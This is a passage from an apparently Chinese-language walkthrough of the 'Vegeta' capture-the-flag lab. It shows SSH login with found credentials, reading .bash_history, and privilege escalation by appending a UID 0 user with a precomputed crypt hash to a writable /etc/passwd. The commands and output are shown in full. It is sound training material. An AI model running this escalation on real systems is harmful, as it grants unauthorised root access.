我们得到一个名为 trunks 的用户，密码为 u$3r，让我们试试之前找到的 SSH 端口：
最后我们找到了一种方法。我做的第一件事是在用户文件夹中查找线索，这里我们看到 .bash_history：
trunks@Vegeta:~$ ls -al
total 28
drwxr-xr-x 3 trunks trunks 4096 Jun 28 2020 .
drwxr-xr-x 3 root root 4096 Jun 28 2020 ..
-rw------- 1 trunks trunks 382 Jun 28 2020 .bash_history
-rw-r--r-- 1 trunks trunks 220 Jun 28 2020 .bash_logout
-rw-r--r-- 1 trunks trunks 3526 Jun 28 2020 .bashrc
drwxr-xr-x 3 trunks trunks 4096 Jun 28 2020 .local
-rw-r--r-- 1 trunks trunks 807 Jun 28 2020 .profile
trunks@Vegeta:~$ cat .bash_history
perl -le ‘print crypt("Password@973″,"addedsalt")’
perl -le 'print crypt("Password@973","addedsalt")'
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd[/sh]
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
ls
su Tom
ls -la
cat .bash_history
sudo apt-get install vim
apt-get install vim
su root
cat .bash_history
exit我们看到一个密码被加盐，然后添加了一个名为 Tom 的新用户。奇怪的是，这是由用户完成的。让我们检查一下 passwd 文件的权限：
trunks@Vegeta:~$ ls -al /etc/passwd
-rw-r--r-- 1 trunks root 1486 Jun 28 2020 /etc/passwd我们作为用户trunk有写权限，我们看一下passwd文件：
trunks@Vegeta:~$ cat /etc/passwd

systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin用户 Tom 不在 passwd 中，但我们可以使用历史文件中的行添加他：
trunks@Vegeta:~$ echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd现在我们可以使用上面找到的密码 Password@973 将用户切换到 Tom：
